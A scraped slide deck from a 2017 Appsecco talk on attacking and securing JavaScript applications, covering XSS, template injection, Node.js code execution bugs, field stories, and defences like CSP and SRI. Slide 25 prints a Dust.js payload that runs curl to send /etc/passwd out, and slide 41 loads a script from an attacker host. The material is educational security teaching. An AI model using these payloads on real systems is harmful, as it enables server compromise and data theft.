7bc73a50756cb3cffce9380275319c41?s=47 riyazwalikar
September 15, 2017




September 15, 2017


  1. 2.

    ▪ Pragmatic, holistic, business-focused approach ▪ Specialist Application Security company

    ▪ Highly experienced and diverse team ▪ Commercial ▪ Security; Gold Standards About Appsecco Def Con speakers Assigned multiple CVEs Certified Hackers OWASP chapter leads
  2. 3.
  3. 6.

    Appsecco Security Clinic • This talk (here) • Curated Q&A

    + Birds of a Feather discussion (Banquet Hall)
  4. 7.

    $("input[name='Riyaz Walikar']") • Chief Attacker at Appsecco • Several years

    of experience in breaking stuff (Offensive Security) • All kinds of things (applications/mobile/systems/networks/wireless) • New to JavaScript Frameworks and Libraries
  5. 9.

    What will we look at today? • What do attackers

    target when attacking JS apps? • Publicly disclosed security weaknesses in frameworks/libraries/apps • Client side security weaknesses • Server side security weaknesses • Stories from the field • Impact of exploitation – Demos ☺ • A brief overview of Content Security Policy • Using Subresource Integrity • Additional Security Headers
  6. 11.
  7. 13.

    When looking at JS Apps • Identification of the framework/libraries

    • Previously discovered security issues, bypasses, feature abuses • Sources (eg: <input>) and Sinks (eg: .innerHTML) for user supplied data • Error messages and stack traces / Console logging • Client side dynamic and hardcoded variables/tokens/secrets/keys • Communication channels like websockets, webRTC etc.
  8. 15.

    Client Side Weaknesses • Mavo and DOM based XSS •

    Angular and Template Injection • Script Injection in MDWiki
  9. 16.

    Mavo and DOM based XSS • Abusing the $url object

    ($url.queryparam) <a href="{$url.spec}" mv-attribute="null"></a> /?spec=test
  10. 18.

    Angular JS & (Expression) Template Injection • Templating can be

    tricky {{}} • Uber no quotes bug! (Shouts to @portswigger and @0x6d6172696f) • Server did not allow quotes, but Angular was present (templating?) • Angular 1.2.0 which bans accessing constructor via a regular javascript property like obj.constructor • Final exploit obtained the string “constructor” from multiple literals and created a Angular template
  11. 19.
  12. 21.

    XSS in MDWiki • MDWiki allows markdown files to be

    loaded using URI fragments •! • The code did a xhr to location.hash.split('#!')[1] • Exploit? /#!
  13. 22.

    Server Side Weaknesses • Node.js (Dust.js) user input eval •

    Server Side Template Injection in Jade • Node.js unserialize() code execution
  14. 23.

    Node.js (Dust.js) user input eval • Found on a PayPal

    subdomain by Michael Stepankin (@artsploit) • Dust.js is a JS templating engine for Node • Dust.js used ‘if helper’ – Removed in 1.6.0 release
  15. 25.

    Node.js (Dust.js) user input eval • Send array instead of

    string to bypass filters • Parsed by the qs module • Final payload[]=x&device[]=y'- require('child_process').exec('curl+- F+"x=`cat+/etc/passwd`"')-'
  16. 26.
  17. 27.

    Server Side Template Injection in Jade (Pug) • Jade (renamed

    to Pug now) is a templating engine for Node • This is not a vulnerability in itself but an example of how templating can lead to code execution if user input is not properly sanitized • The example is using • No vulnerability in CodePen or Jade itself • Example of feature abuse based on the context and implementation
  18. 30.
  19. 31.

    Node.js unserialize() code execution • Discovered during a Node.js code

    review by Ajin, a fellow security community researcher • User’s cookie was sent to the unserialize() function of the node- serialize module. Internally uses eval() for deserialization • Passing untrusted client sent data to unserialize can result in code execution on the server - CVE-2017-5941
  20. 33.
  21. 34.

    Tell me your secret • Very large client in the

    financial sector • Using a React app to deliver UI. JSON authenticated endpoints populated the data • The password was encrypted using a static key before being sent to the server and presumably decrypted on the server for verification • The key and IV was stored in plaintext in a convoluted mass of client side JS
  22. 35.

    Tell me your secret • The client was reusing the

    same crypto components on multiple sites • Leaking the key and IV would allow decryption on the client side possible • A data breach leaking encrypted credentials would massively hurt the client more so because it would be possible to decrypt the credentials
  23. 36.

    Typo & and a ClickJacking attack • Very large client

    in the financial sector • Resource heavy JS framework • Had the X-Frame-Options header set to prevent ClickJacking attacks • However, Burpsuite kept complaining that the site was vulnerable • Investigation revealed a typo in the header
  24. 38.

    Typo & and a ClickJacking attack • Allowed us to

    iframe the site and create a PoC for phishing attacks • The fix was as simple as removing the space before the header
  25. 39.

    Script Injection due to a weak regex • Large customer

    in the automobile industry • Blog had functionality to load pages from the webroot directory • Site was loading pages via XHR requests • Cross site requests were being prevented using a regex check
  26. 41.

    Script Injection due to a weak regex http://client-domain/#http://attacker-ip/a.js?client-domain • Successful

    XSS exploitation led to compromising a higher privileged account • Obtained full access to the client’s data
  27. 43.
  28. 44.
  29. 45.
  30. 46.
  31. 49.

    Content Security Policy • Content-Security-Policy HTTP response header helps you

    reduce XSS risks on modern browsers by declaring what dynamic resources are allowed to load via a HTTP Header.
  32. 50.

    Directives default-src script-src style-src img-src connect-src font-src object-src media-src frame-src

    sandbox report-uri child-src form-action frame-ancestors plugin-types require-sri-for
  33. 51.

    How does a policy look like? default-src 'none'; script-src 'self';

    connect-src 'self'; img-src 'self'; style- src 'self';
  34. 52.
  35. 53.

    CSP Reporting • report-uri directive enables reporting • Violation reports

    are sent as a JSON POST request to the URI in the header
  36. 57.

    SRI – What is? • Subresource Integrity (SRI) is a

    security feature that enables browsers to verify that files they fetch (for example, from a CDN) are delivered without unexpected manipulation. • It works by allowing you to provide a cryptographic hash that a fetched file must match. • Why?
  37. 58.
  38. 59.

    How to generate? cat FILENAME.js | openssl dgst -sha384 -binary

    | openssl enc -base64 –A shasum -b -a 384 FILENAME.js | xxd -r -p | base64
  39. 65.

    X-Content-Type-Options • The x-content-type header prevents Internet Explorer and Google

    Chrome from sniffing a response away from the declared content- type.
  40. 68.
  41. 69.
  42. 71.

    Building Secure Stuff – Where to start? • The OWASP

    Project • OWASP ASVS • OWASP Top 10 • OWASP Testers Guide • Security documentation for the framework/library that is being used • Think like a potential attacker • Attack surface? • What are the assumptions in the system?
  43. 72.

    So when looking at JS Apps • Identification of the

    framework/libraries • Previously discovered security issues, bypasses, feature abuses • Sources and Sinks for user supplied data • Endpoints discoverable through JS code • Error messages and stack traces • Console logging • Client side dynamic and hardcoded variables/tokens/secrets/keys • Browser Storage mechanisms • Cross origin communication using postMessage, widgets, CORS • External sources of js/css/images/fonts • Communication protocols like websockets, webRTC etc.
  44. 75.

    Content References • • • •

    • • • • • • • • • • • •